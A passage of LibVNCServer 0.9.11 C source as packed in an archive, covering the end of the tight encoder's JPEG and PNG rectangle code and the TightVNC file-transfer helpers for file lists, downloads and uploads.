TJBUFSIZE(w, h)) { if (tightAfterBuf == NULL) tightAfterBuf = (char *)malloc(TJBUFSIZE(w, h)); else tightAfterBuf = (char *)realloc(tightAfterBuf, TJBUFSIZE(w, h)); if (!tightAfterBuf) { rfbLog("Memory allocation failure!\n"); return 0; } tightAfterBufSize = TJBUFSIZE(w, h); } if (ps == 2) { uint16_t *srcptr, pix; unsigned char *dst; int inRed, inGreen, inBlue, i, j; if((tmpbuf = (unsigned char *)malloc(w * h * 3)) == NULL) rfbLog("Memory allocation failure!\n"); srcptr = (uint16_t *)&cl->scaledScreen->frameBuffer [y * cl->scaledScreen->paddedWidthInBytes + x * ps]; dst = tmpbuf; for(j = 0; j < h; j++) { uint16_t *srcptr2 = srcptr; unsigned char *dst2 = dst; for (i = 0; i < w; i++) { pix = *srcptr2++; inRed = (int) (pix >> cl->screen->serverFormat.redShift & cl->screen->serverFormat.redMax); inGreen = (int) (pix >> cl->screen->serverFormat.greenShift & cl->screen->serverFormat.greenMax); inBlue = (int) (pix >> cl->screen->serverFormat.blueShift & cl->screen->serverFormat.blueMax); *dst2++ = (uint8_t)((inRed * 255 + cl->screen->serverFormat.redMax / 2) / cl->screen->serverFormat.redMax); *dst2++ = (uint8_t)((inGreen * 255 + cl->screen->serverFormat.greenMax / 2) / cl->screen->serverFormat.greenMax); *dst2++ = (uint8_t)((inBlue * 255 + cl->screen->serverFormat.blueMax / 2) / cl->screen->serverFormat.blueMax); } srcptr += cl->scaledScreen->paddedWidthInBytes / ps; dst += w * 3; } srcbuf = tmpbuf; pitch = w * 3; ps = 3; } else { if (cl->screen->serverFormat.bigEndian && ps == 4) flags |= TJ_ALPHAFIRST; if (cl->screen->serverFormat.redShift == 16 && cl->screen->serverFormat.blueShift == 0) flags |= TJ_BGR; if (cl->screen->serverFormat.bigEndian) flags ^= TJ_BGR; pitch = cl->scaledScreen->paddedWidthInBytes; srcbuf = (unsigned char *)&cl->scaledScreen->frameBuffer [y * pitch + x * ps]; } if (tjCompress(j, srcbuf, w, pitch, h, ps, (unsigned char *)tightAfterBuf, &size, subsamp, quality, flags) == -1) { rfbLog("JPEG Error: %s\n", tjGetErrorStr()); if (tmpbuf) { free(tmpbuf); tmpbuf = NULL; } return 0; } if (tmpbuf) { free(tmpbuf); tmpbuf = NULL; } if (cl->ublen + TIGHT_MIN_TO_COMPRESS + 1 > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } cl->updateBuf[cl->ublen++] = (char)(rfbTightJpeg << 4); rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 1); return SendCompressedData(cl, tightAfterBuf, (int)size); } static void PrepareRowForImg(rfbClientPtr cl, uint8_t *dst, int x, int y, int count) { if (cl->screen->serverFormat.bitsPerPixel == 32) { if ( cl->screen->serverFormat.redMax == 0xFF && cl->screen->serverFormat.greenMax == 0xFF && cl->screen->serverFormat.blueMax == 0xFF ) { PrepareRowForImg24(cl, dst, x, y, count); } else { PrepareRowForImg32(cl, dst, x, y, count); } } else { /* 16 bpp assumed. */ PrepareRowForImg16(cl, dst, x, y, count); } } static void PrepareRowForImg24(rfbClientPtr cl, uint8_t *dst, int x, int y, int count) { uint32_t *fbptr; uint32_t pix; fbptr = (uint32_t *) &cl->scaledScreen->frameBuffer[y * cl->scaledScreen->paddedWidthInBytes + x * 4]; while (count--) { pix = *fbptr++; *dst++ = (uint8_t)(pix >> cl->screen->serverFormat.redShift); *dst++ = (uint8_t)(pix >> cl->screen->serverFormat.greenShift); *dst++ = (uint8_t)(pix >> cl->screen->serverFormat.blueShift); } } #define DEFINE_JPEG_GET_ROW_FUNCTION(bpp) \ \ static void \ PrepareRowForImg##bpp(rfbClientPtr cl, uint8_t *dst, int x, int y, int count) { \ uint##bpp##_t *fbptr; \ uint##bpp##_t pix; \ int inRed, inGreen, inBlue; \ \ fbptr = (uint##bpp##_t *) \ &cl->scaledScreen->frameBuffer[y * cl->scaledScreen->paddedWidthInBytes + \ x * (bpp / 8)]; \ \ while (count--) { \ pix = *fbptr++; \ \ inRed = (int) \ (pix >> cl->screen->serverFormat.redShift & cl->screen->serverFormat.redMax); \ inGreen = (int) \ (pix >> cl->screen->serverFormat.greenShift & cl->screen->serverFormat.greenMax); \ inBlue = (int) \ (pix >> cl->screen->serverFormat.blueShift & cl->screen->serverFormat.blueMax); \ \ *dst++ = (uint8_t)((inRed * 255 + cl->screen->serverFormat.redMax / 2) / \ cl->screen->serverFormat.redMax); \ *dst++ = (uint8_t)((inGreen * 255 + cl->screen->serverFormat.greenMax / 2) / \ cl->screen->serverFormat.greenMax); \ *dst++ = (uint8_t)((inBlue * 255 + cl->screen->serverFormat.blueMax / 2) / \ cl->screen->serverFormat.blueMax); \ } \ } DEFINE_JPEG_GET_ROW_FUNCTION(16) DEFINE_JPEG_GET_ROW_FUNCTION(32) /* * PNG compression stuff. */ #ifdef LIBVNCSERVER_HAVE_LIBPNG static TLS int pngDstDataLen = 0; static rfbBool CanSendPngRect(rfbClientPtr cl, int w, int h) { if (cl->tightEncoding != rfbEncodingTightPng) { return FALSE; } if ( cl->screen->serverFormat.bitsPerPixel == 8 || cl->format.bitsPerPixel == 8) { return FALSE; } return TRUE; } static void pngWriteData(png_structp png_ptr, png_bytep data, png_size_t length) { #if 0 rfbClientPtr cl = png_get_io_ptr(png_ptr); buffer_reserve(&vs->tight.png, vs->tight.png.offset + length); memcpy(vs->tight.png.buffer + vs->tight.png.offset, data, length); #endif memcpy(tightAfterBuf + pngDstDataLen, data, length); pngDstDataLen += length; } static void pngFlushData(png_structp png_ptr) { } static void *pngMalloc(png_structp png_ptr, png_size_t size) { return malloc(size); } static void pngFree(png_structp png_ptr, png_voidp ptr) { free(ptr); } static rfbBool SendPngRect(rfbClientPtr cl, int x, int y, int w, int h) { /* rfbLog(">> SendPngRect x:%d, y:%d, w:%d, h:%d\n", x, y, w, h); */ png_byte color_type; png_structp png_ptr; png_infop info_ptr; png_colorp png_palette = NULL; int level = tightPngConf[cl->tightCompressLevel].png_zlib_level; int filters = tightPngConf[cl->tightCompressLevel].png_filters; uint8_t *buf; int dy; pngDstDataLen = 0; png_ptr = png_create_write_struct_2(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL, NULL, pngMalloc, pngFree); if (png_ptr == NULL) return FALSE; info_ptr = png_create_info_struct(png_ptr); if (info_ptr == NULL) { png_destroy_write_struct(&png_ptr, NULL); return FALSE; } png_set_write_fn(png_ptr, (void *) cl, pngWriteData, pngFlushData); png_set_compression_level(png_ptr, level); png_set_filter(png_ptr, PNG_FILTER_TYPE_DEFAULT, filters); #if 0 /* TODO: */ if (palette) { color_type = PNG_COLOR_TYPE_PALETTE; } else { color_type = PNG_COLOR_TYPE_RGB; } #else color_type = PNG_COLOR_TYPE_RGB; #endif png_set_IHDR(png_ptr, info_ptr, w, h, 8, color_type, PNG_INTERLACE_NONE, PNG_COMPRESSION_TYPE_DEFAULT, PNG_FILTER_TYPE_DEFAULT); #if 0 if (color_type == PNG_COLOR_TYPE_PALETTE) { struct palette_cb_priv priv; png_palette = pngMalloc(png_ptr, sizeof(*png_palette) * palette_size(palette)); priv.vs = vs; priv.png_palette = png_palette; palette_iter(palette, write_png_palette, &priv); png_set_PLTE(png_ptr, info_ptr, png_palette, palette_size(palette)); offset = vs->tight.tight.offset; if (vs->clientds.pf.bytes_per_pixel == 4) { tight_encode_indexed_rect32(vs->tight.tight.buffer, w * h, palette); } else { tight_encode_indexed_rect16(vs->tight.tight.buffer, w * h, palette); } } buffer_reserve(&vs->tight.png, 2048); #endif png_write_info(png_ptr, info_ptr); buf = malloc(w * 3); for (dy = 0; dy < h; dy++) { #if 0 if (color_type == PNG_COLOR_TYPE_PALETTE) { memcpy(buf, vs->tight.tight.buffer + (dy * w), w); } else { PrepareRowForImg(cl, buf, x, y + dy, w); } #else PrepareRowForImg(cl, buf, x, y + dy, w); #endif png_write_row(png_ptr, buf); } free(buf); png_write_end(png_ptr, NULL); if (color_type == PNG_COLOR_TYPE_PALETTE) { pngFree(png_ptr, png_palette); } png_destroy_write_struct(&png_ptr, &info_ptr); /* done v */ if (cl->ublen + TIGHT_MIN_TO_COMPRESS + 1 > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } cl->updateBuf[cl->ublen++] = (char)(rfbTightPng << 4); rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 1); /* rfbLog("<< SendPngRect\n"); */ return SendCompressedData(cl, tightAfterBuf, pngDstDataLen); } #endif libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/000077500000000000000000000000001303145525000255625ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/filelistinfo.c000066400000000000000000000066631303145525000304300ustar00rootroot00000000000000/* * Copyright (c) 2005 Novell, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, contact Novell, Inc. * * To contact Novell about this file by physical or electronic mail, * you may find current contact information at www.novell.com * * Author : Rohit Kumar * Email ID : rokumar@novell.com * Date : 14th July 2005 */ #include #include "rfb/rfb.h" #include "filelistinfo.h" /* This method is used for debugging purpose */ void DisplayFileList(FileListInfo fli) { int i = 0; if((fli.pEntries == NULL) || (fli.numEntries == 0)) return; rfbLog("DISPLAYING FILE NAMES IN THE LIST ...START\n\n"); rfbLog("Numer of entries:: %d\n", fli.numEntries); for(i = 0; i < fli.numEntries; i++) rfbLog("file[%d]\t<%s>\n", i, fli.pEntries[i].name); rfbLog("DISPLAYING FILE NAMES IN THE LIST ...END\n\n"); } #ifndef __GNUC__ #define __FUNCTION__ "unknown" #endif int AddFileListItemInfo(FileListInfoPtr fileListInfoPtr, char* name, unsigned int size, unsigned int data) { FileListItemInfoPtr fileListItemInfoPtr = (FileListItemInfoPtr) calloc((fileListInfoPtr->numEntries + 1), sizeof(FileListItemInfo)); if(fileListItemInfoPtr == NULL) { rfbLog("File [%s]: Method [%s]: fileListItemInfoPtr is NULL\n", __FILE__, __FUNCTION__); return FAILURE; } if(fileListInfoPtr->numEntries != 0) { memcpy(fileListItemInfoPtr, fileListInfoPtr->pEntries, fileListInfoPtr->numEntries * sizeof(FileListItemInfo)); } strcpy(fileListItemInfoPtr[fileListInfoPtr->numEntries].name, name); fileListItemInfoPtr[fileListInfoPtr->numEntries].size = size; fileListItemInfoPtr[fileListInfoPtr->numEntries].data = data; if(fileListInfoPtr->pEntries != NULL) { free(fileListInfoPtr->pEntries); fileListInfoPtr->pEntries = NULL; } fileListInfoPtr->pEntries = fileListItemInfoPtr; fileListItemInfoPtr = NULL; fileListInfoPtr->numEntries++; return SUCCESS; } char* GetFileNameAt(FileListInfo fileListInfo, int number) { char* name = NULL; if(number >= 0 && number < fileListInfo.numEntries) name = fileListInfo.pEntries[number].name; return name; } unsigned int GetFileSizeAt(FileListInfo fileListInfo, int number) { unsigned int size = 0; if(number >= 0 && number < fileListInfo.numEntries) size = fileListInfo.pEntries[number].size; return size; } unsigned int GetFileDataAt(FileListInfo fileListInfo, int number) { unsigned int data = 0; if(number >= 0 && number < fileListInfo.numEntries) data = fileListInfo.pEntries[number].data; return data; } unsigned int GetSumOfFileNamesLength(FileListInfo fileListInfo) { int i = 0, sumLen = 0; for(i = 0; i < fileListInfo.numEntries; i++) sumLen += strlen(fileListInfo.pEntries[i].name); return sumLen; } void FreeFileListInfo(FileListInfo fileListInfo) { if(fileListInfo.pEntries != NULL) { free(fileListInfo.pEntries); fileListInfo.pEntries = NULL; } fileListInfo.numEntries = 0; } libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/filelistinfo.h000066400000000000000000000035341303145525000304270ustar00rootroot00000000000000/* * Copyright (c) 2005 Novell, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, contact Novell, Inc. * * To contact Novell about this file by physical or electronic mail, * you may find current contact information at www.novell.com * * Author : Rohit Kumar * Email ID : rokumar@novell.com * Date : 14th July 2005 */ #ifndef FILE_LIST_INFO_H #define FILE_LIST_INFO_H #include #if !defined(NAME_MAX) #define NAME_MAX 255 #endif #define SUCCESS 1 #define FAILURE 0 typedef struct _FileListItemInfo { char name[NAME_MAX]; unsigned int size; unsigned int data; } FileListItemInfo, *FileListItemInfoPtr; typedef struct _FileListItemSize { unsigned int size; unsigned int data; } FileListItemSize, *FileListItemSizePtr; typedef struct _FileListInfo { FileListItemInfoPtr pEntries; int numEntries; } FileListInfo, *FileListInfoPtr; int AddFileListItemInfo(FileListInfoPtr fileListInfoPtr, char* name, unsigned int size, unsigned int data); char* GetFileNameAt(FileListInfo fileListInfo, int number); unsigned int GetFileSizeAt(FileListInfo fileListInfo, int number); unsigned int GetFileDataAt(FileListInfo fileListInfo, int number); unsigned int GetSumOfFileNamesLength(FileListInfo fileListInfo); void FreeFileListInfo(FileListInfo fileListInfo); void DisplayFileList(FileListInfo fli); #endif libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/filetransfermsg.c000066400000000000000000000527521303145525000311340ustar00rootroot00000000000000/* * Copyright (c) 2005 Novell, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, contact Novell, Inc. * * To contact Novell about this file by physical or electronic mail, * you may find current contact information at www.novell.com * * Author : Rohit Kumar * Email ID : rokumar@novell.com * Date : 14th July 2005 */ #include #include #include #include #ifdef WIN32 #include #include #include #ifdef _MSC_VER #define S_ISREG(m) (((m) & _S_IFMT) == _S_IFREG) #define S_ISDIR(m) (((m) & S_IFDIR) == S_IFDIR) #define S_IWUSR S_IWRITE #define S_IRUSR S_IREAD #define S_IWOTH 0x0000002 #define S_IROTH 0x0000004 #define S_IWGRP 0x0000010 #define S_IRGRP 0x0000020 #define mkdir(path, perms) _mkdir(path) /* Match POSIX signature */ /* Prevent POSIX deprecation warnings on MSVC */ #define creat _creat #define open _open #define read _read #define write _write #define close _close #define unlink _unlink #endif /* _MSC_VER */ #else #include #include #endif #include #include #include #include #include #include "rfbtightproto.h" #include "filelistinfo.h" #include "filetransfermsg.h" #include "handlefiletransferrequest.h" #define SZ_RFBBLOCKSIZE 8192 void FreeFileTransferMsg(FileTransferMsg ftm) { if(ftm.data != NULL) { free(ftm.data); ftm.data = NULL; } ftm.length = 0; } /****************************************************************************** * Methods to handle file list request. ******************************************************************************/ int CreateFileListInfo(FileListInfoPtr pFileListInfo, char* path, int flag); FileTransferMsg CreateFileListErrMsg(char flags); FileTransferMsg CreateFileListMsg(FileListInfo fileListInfo, char flags); /* * This is the method called by HandleFileListRequest to get the file list */ FileTransferMsg GetFileListResponseMsg(char* path, char flags) { FileTransferMsg fileListMsg; FileListInfo fileListInfo; int status = -1; memset(&fileListMsg, 0, sizeof(FileTransferMsg)); memset(&fileListInfo, 0, sizeof(FileListInfo)); /* fileListInfo can have null data if the folder is Empty or if some error condition has occurred. The return value is 'failure' only if some error condition has occurred. */ status = CreateFileListInfo(&fileListInfo, path, !(flags & 0x10)); if(status == FAILURE) { fileListMsg = CreateFileListErrMsg(flags); } else { /* DisplayFileList(fileListInfo); For Debugging */ fileListMsg = CreateFileListMsg(fileListInfo, flags); FreeFileListInfo(fileListInfo); } return fileListMsg; } #if !defined(__GNUC__) && !defined(_MSC_VER) #define __FUNCTION__ "unknown" #endif #ifdef WIN32 /* Most of the Windows version here is based on https://github.com/danielgindi/FileDir */ #define FILETIME_TO_TIME_T(FILETIME) (((((__int64)FILETIME.dwLowDateTime) | (((__int64)FILETIME.dwHighDateTime) << 32)) - 116444736000000000L) / 10000000L) #ifdef FILE_ATTRIBUTE_INTEGRITY_STREAM #define IS_REGULAR_FILE_HAS_ATTRIBUTE_INTEGRITY_STREAM(dwFileAttributes) (!!(dwFileAttributes & FILE_ATTRIBUTE_INTEGRITY_STREAM)) #else #define IS_REGULAR_FILE_HAS_ATTRIBUTE_INTEGRITY_STREAM(dwFileAttributes) 0 #endif #ifdef FILE_ATTRIBUTE_NO_SCRUB_DATA #define IS_REGULAR_FILE_HAS_ATTRIBUTE_NO_SCRUB_DATA(dwFileAttributes) (!!(dwFileAttributes & FILE_ATTRIBUTE_NO_SCRUB_DATA)) #else #define IS_REGULAR_FILE_HAS_ATTRIBUTE_NO_SCRUB_DATA(dwFileAttributes) 0 #endif #define IS_REGULAR_FILE(dwFileAttributes) \ ( \ !!(dwFileAttributes & FILE_ATTRIBUTE_NORMAL) || \ ( \ !(dwFileAttributes & FILE_ATTRIBUTE_DEVICE) && \ !(dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && \ !(dwFileAttributes & FILE_ATTRIBUTE_ENCRYPTED) && \ !IS_REGULAR_FILE_HAS_ATTRIBUTE_INTEGRITY_STREAM(dwFileAttributes) && \ !IS_REGULAR_FILE_HAS_ATTRIBUTE_NO_SCRUB_DATA(dwFileAttributes) && \ !(dwFileAttributes & FILE_ATTRIBUTE_OFFLINE) && \ !(dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY) \ ) \ ) #define IS_FOLDER(dwFileAttributes) (!!(dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) int CreateFileListInfo(FileListInfoPtr pFileListInfo, char* path, int flag) { int pathLen, basePathLength; char *basePath, *pChar; WIN32_FIND_DATAA winFindData; HANDLE findHandle; if(path == NULL) { return FAILURE; } if(strlen(path) == 0) { /* In this case we will send the list of entries in ftp root*/ sprintf(path, "%s%s", GetFtpRoot(), "/"); } /* Create a search string, like C:\folder\* */ pathLen = strlen(path); basePath = malloc(pathLen + 3); memcpy(basePath, path, pathLen); basePathLength = pathLen; basePath[basePathLength] = '\\'; basePath[basePathLength + 1] = '*'; basePath[basePathLength + 2] = '\0'; /* Start a search */ memset(&winFindData, 0, sizeof(winFindData)); findHandle = FindFirstFileA(path, &winFindData); basePath[basePathLength] = '\0'; /* Restore to a basePath + \ */ /* Convert \ to / */ for(pChar = basePath; *pChar; pChar++) { if (*pChar == '\\') { *pChar = '/'; } } /* While we can find a next file do... But ignore \. and '.. entries, which are current folder and parent folder respectively */ while(findHandle != INVALID_HANDLE_VALUE && winFindData.cFileName[0] == '.' && (winFindData.cFileName[1] == '\0' || (winFindData.cFileName[1] == '.' && winFindData.cFileName[2] == '\0'))) { char fullpath[PATH_MAX]; fullpath[0] = 0; strncpy_s(fullpath, PATH_MAX, basePath, basePathLength); strncpy_s(fullpath + basePathLength, PATH_MAX - basePathLength, winFindData.cFileName, (int)strlen(winFindData.cFileName)); if(IS_FOLDER(winFindData.dwFileAttributes)) { if (AddFileListItemInfo(pFileListInfo, winFindData.cFileName, -1, 0) == 0) { rfbLog("File [%s]: Method [%s]: Add directory %s in the" " list failed\n", __FILE__, __FUNCTION__, fullpath); continue; } } else if(IS_REGULAR_FILE(winFindData.dwFileAttributes)) { if(flag) { unsigned int fileSize = (winFindData.nFileSizeHigh * (MAXDWORD+1)) + winFindData.nFileSizeLow; if(AddFileListItemInfo(pFileListInfo, winFindData.cFileName, fileSize, FILETIME_TO_TIME_T(winFindData.ftLastWriteTime)) == 0) { rfbLog("File [%s]: Method [%s]: Add file %s in the " "list failed\n", __FILE__, __FUNCTION__, fullpath); continue; } } } if(FindNextFileA(findHandle, &winFindData) == 0) { FindClose(findHandle); findHandle = INVALID_HANDLE_VALUE; } } if(findHandle != INVALID_HANDLE_VALUE) { FindClose(findHandle); } free(basePath); return SUCCESS; } #else /* WIN32 */ int CreateFileListInfo(FileListInfoPtr pFileListInfo, char* path, int flag) { DIR* pDir = NULL; struct dirent* pDirent = NULL; if(path == NULL) { return FAILURE; } if(strlen(path) == 0) { /* In this case we will send the list of entries in ftp root*/ sprintf(path, "%s%s", GetFtpRoot(), "/"); } if((pDir = opendir(path)) == NULL) { rfbLog("File [%s]: Method [%s]: not able to open the dir\n", __FILE__, __FUNCTION__); return FAILURE; } while((pDirent = readdir(pDir))) { if(strcmp(pDirent->d_name, ".") && strcmp(pDirent->d_name, "..")) { struct stat stat_buf; /* int fpLen = sizeof(char)*(strlen(pDirent->d_name)+strlen(path)+2); */ char fullpath[PATH_MAX]; memset(fullpath, 0, PATH_MAX); strcpy(fullpath, path); if(path[strlen(path)-1] != '/') strcat(fullpath, "/"); strcat(fullpath, pDirent->d_name); if(stat(fullpath, &stat_buf) < 0) { rfbLog("File [%s]: Method [%s]: Reading stat for file %s failed\n", __FILE__, __FUNCTION__, fullpath); continue; } if(S_ISDIR(stat_buf.st_mode)) { if(AddFileListItemInfo(pFileListInfo, pDirent->d_name, -1, 0) == 0) { rfbLog("File [%s]: Method [%s]: Add directory %s in the" " list failed\n", __FILE__, __FUNCTION__, fullpath); continue; } } else { if(flag) { if(AddFileListItemInfo(pFileListInfo, pDirent->d_name, stat_buf.st_size, stat_buf.st_mtime) == 0) { rfbLog("File [%s]: Method [%s]: Add file %s in the " "list failed\n", __FILE__, __FUNCTION__, fullpath); continue; } } } } } if(closedir(pDir) < 0) { rfbLog("File [%s]: Method [%s]: ERROR Couldn't close dir\n", __FILE__, __FUNCTION__); } return SUCCESS; } #endif FileTransferMsg CreateFileListErrMsg(char flags) { FileTransferMsg fileListMsg; rfbFileListDataMsg* pFLD = NULL; char* data = NULL; unsigned int length = 0; memset(&fileListMsg, 0, sizeof(FileTransferMsg)); data = (char*) calloc(sizeof(rfbFileListDataMsg), sizeof(char)); if(data == NULL) { return fileListMsg; } length = sizeof(rfbFileListDataMsg) * sizeof(char); pFLD = (rfbFileListDataMsg*) data; pFLD->type = rfbFileListData; pFLD->numFiles = Swap16IfLE(0); pFLD->dataSize = Swap16IfLE(0); pFLD->compressedSize = Swap16IfLE(0); pFLD->flags = flags | 0x80; fileListMsg.data = data; fileListMsg.length = length; return fileListMsg; } FileTransferMsg CreateFileListMsg(FileListInfo fileListInfo, char flags) { FileTransferMsg fileListMsg; rfbFileListDataMsg* pFLD = NULL; char *data = NULL, *pFileNames = NULL; unsigned int length = 0, dsSize = 0, i = 0; FileListItemSizePtr pFileListItemSize = NULL; memset(&fileListMsg, 0, sizeof(FileTransferMsg)); dsSize = fileListInfo.numEntries * 8; length = sz_rfbFileListDataMsg + dsSize + GetSumOfFileNamesLength(fileListInfo) + fileListInfo.numEntries; data = (char*) calloc(length, sizeof(char)); if(data == NULL) { return fileListMsg; } pFLD = (rfbFileListDataMsg*) data; pFileListItemSize = (FileListItemSizePtr) &data[sz_rfbFileListDataMsg]; pFileNames = &data[sz_rfbFileListDataMsg + dsSize]; pFLD->type = rfbFileListData; pFLD->flags = flags & 0xF0; pFLD->numFiles = Swap16IfLE(fileListInfo.numEntries); pFLD->dataSize = Swap16IfLE(GetSumOfFileNamesLength(fileListInfo) + fileListInfo.numEntries); pFLD->compressedSize = pFLD->dataSize; for(i =0; i rcft.rcfd.fName; memset(pBuf, 0, SZ_RFBBLOCKSIZE); if((rtcp->rcft.rcfd.downloadInProgress == FALSE) && (rtcp->rcft.rcfd.downloadFD == -1)) { if((rtcp->rcft.rcfd.downloadFD = open(path, O_RDONLY)) == -1) { rfbLog("File [%s]: Method [%s]: Error: Couldn't open file\n", __FILE__, __FUNCTION__); return GetFileDownloadReadDataErrMsg(); } rtcp->rcft.rcfd.downloadInProgress = TRUE; } if((rtcp->rcft.rcfd.downloadInProgress == TRUE) && (rtcp->rcft.rcfd.downloadFD != -1)) { if( (numOfBytesRead = read(rtcp->rcft.rcfd.downloadFD, pBuf, SZ_RFBBLOCKSIZE)) <= 0) { close(rtcp->rcft.rcfd.downloadFD); rtcp->rcft.rcfd.downloadFD = -1; rtcp->rcft.rcfd.downloadInProgress = FALSE; if(numOfBytesRead == 0) { return CreateFileDownloadZeroSizeDataMsg(rtcp->rcft.rcfd.mTime); } return GetFileDownloadReadDataErrMsg(); } return CreateFileDownloadBlockSizeDataMsg(numOfBytesRead, pBuf); } return GetFileDownLoadErrMsg(); } FileTransferMsg ChkFileDownloadErr(rfbClientPtr cl, rfbTightClientPtr rtcp) { FileTransferMsg fileDownloadMsg; struct stat stat_buf; int sz_rfbFileSize = 0; char* path = rtcp->rcft.rcfd.fName; memset(&fileDownloadMsg, 0, sizeof(FileTransferMsg)); if( (path == NULL) || (strlen(path) == 0) || (stat(path, &stat_buf) < 0) || (!(S_ISREG(stat_buf.st_mode))) ) { char reason[] = "Cannot open file, perhaps it is absent or is not a regular file"; int reasonLen = strlen(reason); rfbLog("File [%s]: Method [%s]: Reading stat for path %s failed\n", __FILE__, __FUNCTION__, path); fileDownloadMsg = CreateFileDownloadErrMsg(reason, reasonLen); } else { rtcp->rcft.rcfd.mTime = stat_buf.st_mtime; sz_rfbFileSize = stat_buf.st_size; if(sz_rfbFileSize <= 0) { fileDownloadMsg = CreateFileDownloadZeroSizeDataMsg(stat_buf.st_mtime); } } return fileDownloadMsg; } FileTransferMsg CreateFileDownloadErrMsg(char* reason, unsigned int reasonLen) { FileTransferMsg fileDownloadErrMsg; int length = sz_rfbFileDownloadFailedMsg + reasonLen + 1; rfbFileDownloadFailedMsg *pFDF = NULL; char *pFollow = NULL; char *pData = (char*) calloc(length, sizeof(char)); memset(&fileDownloadErrMsg, 0, sizeof(FileTransferMsg)); if(pData == NULL) { rfbLog("File [%s]: Method [%s]: pData is NULL\n", __FILE__, __FUNCTION__); return fileDownloadErrMsg; } pFDF = (rfbFileDownloadFailedMsg *) pData; pFollow = &pData[sz_rfbFileDownloadFailedMsg]; pFDF->type = rfbFileDownloadFailed; pFDF->reasonLen = Swap16IfLE(reasonLen); memcpy(pFollow, reason, reasonLen); fileDownloadErrMsg.data = pData; fileDownloadErrMsg.length = length; return fileDownloadErrMsg; } FileTransferMsg CreateFileDownloadZeroSizeDataMsg(unsigned long mTime) { FileTransferMsg fileDownloadZeroSizeDataMsg; int length = sz_rfbFileDownloadDataMsg + sizeof(unsigned long); rfbFileDownloadDataMsg *pFDD = NULL; char *pFollow = NULL; char *pData = (char*) calloc(length, sizeof(char)); memset(&fileDownloadZeroSizeDataMsg, 0, sizeof(FileTransferMsg)); if(pData == NULL) { rfbLog("File [%s]: Method [%s]: pData is NULL\n", __FILE__, __FUNCTION__); return fileDownloadZeroSizeDataMsg; } pFDD = (rfbFileDownloadDataMsg *) pData; pFollow = &pData[sz_rfbFileDownloadDataMsg]; pFDD->type = rfbFileDownloadData; pFDD->compressLevel = 0; pFDD->compressedSize = Swap16IfLE(0); pFDD->realSize = Swap16IfLE(0); memcpy(pFollow, &mTime, sizeof(unsigned long)); fileDownloadZeroSizeDataMsg.data = pData; fileDownloadZeroSizeDataMsg.length = length; return fileDownloadZeroSizeDataMsg; } FileTransferMsg CreateFileDownloadBlockSizeDataMsg(unsigned short sizeFile, char *pFile) { FileTransferMsg fileDownloadBlockSizeDataMsg; int length = sz_rfbFileDownloadDataMsg + sizeFile; rfbFileDownloadDataMsg *pFDD = NULL; char *pFollow = NULL; char *pData = (char*) calloc(length, sizeof(char)); memset(&fileDownloadBlockSizeDataMsg, 0, sizeof(FileTransferMsg)); if(NULL == pData) { rfbLog("File [%s]: Method [%s]: pData is NULL\n", __FILE__, __FUNCTION__); return fileDownloadBlockSizeDataMsg; } pFDD = (rfbFileDownloadDataMsg *) pData; pFollow = &pData[sz_rfbFileDownloadDataMsg]; pFDD->type = rfbFileDownloadData; pFDD->compressLevel = 0; pFDD->compressedSize = Swap16IfLE(sizeFile); pFDD->realSize = Swap16IfLE(sizeFile); memcpy(pFollow, pFile, sizeFile); fileDownloadBlockSizeDataMsg.data = pData; fileDownloadBlockSizeDataMsg.length = length; return fileDownloadBlockSizeDataMsg; } /****************************************************************************** * Methods to handle file upload request ******************************************************************************/ FileTransferMsg CreateFileUploadErrMsg(char* reason, unsigned int reasonLen); FileTransferMsg GetFileUploadLengthErrResponseMsg() { char reason [] = "Path length exceeds PATH_MAX (4096) bytes"; int reasonLen = strlen(reason); return CreateFileUploadErrMsg(reason, reasonLen); } FileTransferMsg ChkFileUploadErr(rfbClientPtr cl, rfbTightClientPtr rtcp) { FileTransferMsg fileUploadErrMsg; memset(&fileUploadErrMsg, 0, sizeof(FileTransferMsg)); if( (rtcp->rcft.rcfu.fName == NULL) || (strlen(rtcp->rcft.rcfu.fName) == 0) || ((rtcp->rcft.rcfu.uploadFD = creat(rtcp->rcft.rcfu.fName, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) == -1)) { char reason[] = "Could not create file"; int reasonLen = strlen(reason); fileUploadErrMsg = CreateFileUploadErrMsg(reason, reasonLen); } else rtcp->rcft.rcfu.uploadInProgress = TRUE; return fileUploadErrMsg; } FileTransferMsg GetFileUploadCompressedLevelErrMsg() { char reason[] = "Server does not support data compression on upload"; int reasonLen = strlen(reason); return CreateFileUploadErrMsg(reason, reasonLen); } FileTransferMsg ChkFileUploadWriteErr(rfbClientPtr cl, rfbTightClientPtr rtcp, char* pBuf) { FileTransferMsg 